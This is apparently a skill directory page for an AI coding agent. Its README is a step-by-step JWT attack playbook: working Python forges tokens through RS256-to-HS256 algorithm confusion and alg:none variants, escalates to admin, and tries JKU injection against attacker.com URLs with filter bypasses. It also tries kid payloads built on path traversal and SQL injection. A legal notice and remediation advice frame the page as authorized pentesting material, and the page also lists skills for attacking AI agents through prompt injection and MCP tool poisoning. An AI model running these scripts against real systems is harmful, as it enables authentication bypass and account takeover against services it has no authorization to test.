Install in seconds
Install this skill
Copy the command and run it in your terminal. You can review the source before installing.
terminal
git clone https://github.com/xalgord/xalgorix

Works with Git. The repository opens in your current directory.

🔐
QualityGo

JWT Algorithm Confusion Exploit

by xalgord

Tests JWT implementations for algorithm confusion vulnerabilities, including RS256 to HS256 downgrade, alg:none bypass, and key injection attacks. For authorized security testing only.

807 stars144 forksAdded 2026/07/20
ai-agentai-securityautomationautonomous-pentestingbug-bountycybersecurityethical-hackinggolangpenetration-testingpentestpentesting-toolsreconsecuritysecurity-researchsecurity-toolstypescriptvulnerability-detectionvulnerability-scanner

Documentation

README

Exploiting JWT Algorithm Confusion Attack

When to Use

  • Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
  • Assessing JWT implementations for alg:none bypass where the server skips signature verification
  • Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
  • Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
  • Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Most Often Missed & How to Confirm

  • Public-key format matters: RS256→HS256 confusion fails silently if the HMAC key bytes don't match the server's - try PEM with/without trailing newline, with/without header lines, DER, and the X.509 cert form before giving up.
  • Reconstruct the key when JWKS is hidden: if there is no /.well-known/jwks.json, derive the RSA public key from two captured tokens (e.g., with rsa_sign2n) or pull it from the TLS cert.
  • alg casing and omission: test none, None, NONE, nOnE, and a header with no alg at all, each with empty and dot-only signatures.
  • Header-injection key sourcing: jku/x5u pointing to attacker JWKS (with URL-filter bypasses like @, #, open-redirect), and kid path-traversal (../../dev/null → empty key) or SQLi.
  • Claim nuances: match iss/aud/exp, then swap sub/role/scope - some servers ignore role but trust sub for lookup.

How to confirm a hit (avoid false negatives): the forged token must return authenticated data for a privileged identity you do not own (e.g., an admin-only endpoint returns 200 with admin data), not merely avoid a 401 - compare against an unauthenticated baseline. Don't conclude negative until you've tried: every public-key encoding for HS256 confusion, key reconstruction from captured tokens, all none casings with empty/dot signatures, and jku/kid/x5u injection when those headers are present.

Prerequisites

  • Written authorization specifying the target API and JWT-based authentication in scope
  • A valid JWT token from the target API (obtained through legitimate authentication)
  • The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
  • Python 3.10+ with PyJWT, cryptography, and requests libraries
  • jwt_tool for automated JWT attack testing
  • Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
    If the server uses a generic verify() that trusts the alg header, it will use
    the public key as the HMAC secret, matching our signature.
    """
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    # Modify payload if requested
    if modifications:
        payload.update(modifications)

    # Create header with HS256
    new_header = {"alg": "HS256", "typ": "JWT"}

    # Encode header and payload
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(new_header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Sign with HMAC-SHA256 using the RSA public key as the secret
    signing_input = f"{header_b64}.{payload_b64}".encode()

    # Use the raw PEM bytes as the HMAC key
    if isinstance(public_key_pem, str):
        public_key_pem = public_key_pem.encode()

    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")

# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
    modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
    headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

# Attack 3: Try different public key formats
key_formats = [
    public_key_pem,                                    # Full PEM
    public_key_pem.strip(),                            # Stripped whitespace
    public_key_pem.replace(b'\n', b''),               # No newlines
    public_key_pem.decode().split('\n')[1:-1],        # Base64 only
]

for i, key_format in enumerate(key_formats):
    if isinstance(key_format, list):
        key_format = ''.join(key_format).encode()
    elif isinstance(key_format, str):
        key_format = key_format.encode()

    token = forge_hs256_with_public_key(valid_token, key_format)
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")

Step 4: Algorithm None Attack

def forge_none_algorithm(token, modifications=None):
    """Create tokens with alg:none variations to bypass signature verification."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    if modifications:
        payload.update(modifications)

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Different "none" algorithm variations
    none_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"typ": "JWT"},  # Missing alg entirely
    ]

    tokens = []
    for variant_header in none_variants:
        header_b64 = base64.urlsafe_b64encode(
            json.dumps(variant_header).encode()).decode().rstrip('=')

        # Different signature options
        sig_options = [
            "",                    # Empty signature
            ".",                   # Just a dot
            parts[2],             # Original signature
            base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),  # Null byte
        ]

        for sig in sig_options:
            tokens.append(f"{header_b64}.{payload_b64}.{sig}")

    return tokens

# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
        print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")

# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
    modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
    resp = requests.get(f"{BASE_URL}/admin/users",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print("[CRITICAL] Admin access via alg:none bypass")
        break

Step 5: JKU and KID Header Injection

import os

# Attack: JKU (JWK Set URL) injection
# Host attacker-controlled JWKS that contains our key pair
def generate_attacker_jwks():
    """Generate an RSA key pair and JWKS for the attacker's server."""
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend

    # Generate attacker key pair
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()

    n_b64 = base64.urlsafe_b64encode(
        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
    e_b64 = base64.urlsafe_b64encode(
        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')

    jwks = {
        "keys": [{
            "kty": "RSA",
            "kid": "attacker-key-1",
            "use": "sig",
            "alg": "RS256",
            "n": n_b64,
            "e": e_b64
        }]
    }

    return private_key, jwks

attacker_private_key, attacker_jwks = generate_attacker_jwks()

# Create JWT with JKU pointing to attacker server
def forge_jku_token(payload_modifications, jku_url):
    """Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
    payload.update(payload_modifications)

    header = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": "attacker-key-1",
        "jku": jku_url  # Points to attacker-hosted JWKS
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Sign with attacker's private key
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding

    signing_input = f"{header_b64}.{payload_b64}".encode()
    signature = attacker_private_key.sign(
        signing_input,
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# Test JKU injection with various URLs
jku_urls = [
    "https://attacker.com/.well-known/jwks.json",
    "https://attacker.com/jwks",
    # Bypass URL filters
    f"{BASE_URL}@attacker.com/jwks",
    f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]

for jku in jku_urls:
    token = forge_jku_token({"role": "admin"}, jku)
    # Note: This test requires hosting the attacker JWKS at the specified URL
    print(f"  JKU injection payload generated for: {jku}")

# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
    "../../../../../../dev/null",              # Path traversal to empty file
    "../../../../../../proc/sys/kernel/hostname",
    "' UNION SELECT 'secret-key' -- ",         # SQL injection in kid lookup
    "' OR '1'='1",
    "../../../etc/passwd",
    "https://attacker.com/key.pem",            # URL-based kid
]

for kid in kid_injection_payloads:
    modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(modified_header).encode()).decode().rstrip('=')
    payload_b64 = valid_token.split('.')[1]

    # Sign with the expected key material from the injection
    signing_input = f"{header_b64}.{payload_b64}".encode()
    # For path traversal to /dev/null, the key would be empty
    sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')

    token = f"{header_b64}.{payload_b64}.{sig_b64}"
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] KID injection successful: {kid}")

Key Concepts

Term Definition
Algorithm Confusion Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret
alg:none Attack Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection
JKU Injection Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys
KID Injection Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files
Key Confusion Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification
JWKS (JSON Web Key Set) A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint

Tools & Systems

  • jwt_tool: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
  • Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
  • hashcat (mode 16500): GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
  • John the Ripper: CPU-based JWT secret cracking with wordlist and rule-based attacks
  • jwt.io: Online JWT decoder and debugger for quick token analysis

Common Scenarios

Scenario: Algorithm Confusion on Banking API

Context: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.

Approach:

  1. Obtain a valid JWT by authenticating as a regular user
  2. Extract the RSA public key from the JWKS endpoint at /.well-known/jwks.json
  3. Create a new JWT with "alg": "HS256" header and sign it using the RSA public key as the HMAC secret
  4. Send the forged token to GET /api/v1/users/me - server accepts it (algorithm confusion confirmed)
  5. Modify the payload to set "role": "admin" and "sub": "admin@bank.com" - sign with the public key
  6. Access admin endpoints: GET /api/v1/admin/transactions returns all transaction history
  7. Test alg:none: rejected by the server (partial mitigation)
  8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection

Pitfalls:

  • Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
  • Not trying multiple public key formats when the first one does not produce a valid signature
  • Assuming the alg:none defense means algorithm confusion is also mitigated
  • Not testing kid injection vectors when the kid parameter is present in the JWT header
  • Missing JKU/x5u header injection when the server fetches keys from URLs

Output Format

## Finding: JWT Algorithm Confusion Enables Authentication Bypass

**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware

**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.

**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK

**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.

**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance

More from xalgord

Other Claude Code skills by this author in the directory.

🛡️
1w ago

Prompt Injection Detection

Detect prompt injection attacks targeting LLM-based applications using a multi-layered defense combining regex, heuristic analysis, and a DeBERTa classifier. Ideal for pre-filtering user inputs in chatbots, AI agents, or RAG pipelines.
AI Engineering
+0%807144
🛡️
1w ago

Exploiting AI Model File RCE

Testing machine-learning model files and model-loading services for remote code execution caused by insecure deserialization. Ideal for authorized pentesting of ML training pipelines, model registries, and inference services.
AI Engineering
+0%807144
🛡️
1w ago

LLM Guardrails

Implements input and output validation guardrails for LLM-powered applications to prevent prompt injection, enforce content policies, and redact PII. Ideal for securing AI agents, chatbots, and RAG pipelines.
AI Engineering
+0%807144
🔍
1w ago

AI-Assisted Vulnerability Discovery

Accelerate vulnerability discovery with LLMs: generate syntax-valid fuzzing seeds, evolve coverage-guided grammars, and scale proof-of-vulnerability generation. Integrates with Burp MCP for evidence-driven web analysis.
AI Engineering
+0%807144
🛡️
1w ago

Testing LLM Prompt Injection and Jailbreaks

A structured methodology for testing LLM-backed applications, chatbots, and AI agents for prompt injection, jailbreaks, and indirect injections. Covers direct attacks, system prompt leaks, encoding bypasses, and agent tool abuse.
AI Engineering
+0%807144
🛡️
1w ago

Testing MCP Server Security

Test MCP servers and AI clients for tool poisoning, prompt injection, supply-chain attacks, and credential theft. Used during security assessments of AI agents like Claude Code or Cursor.
AI Engineering
+0%807144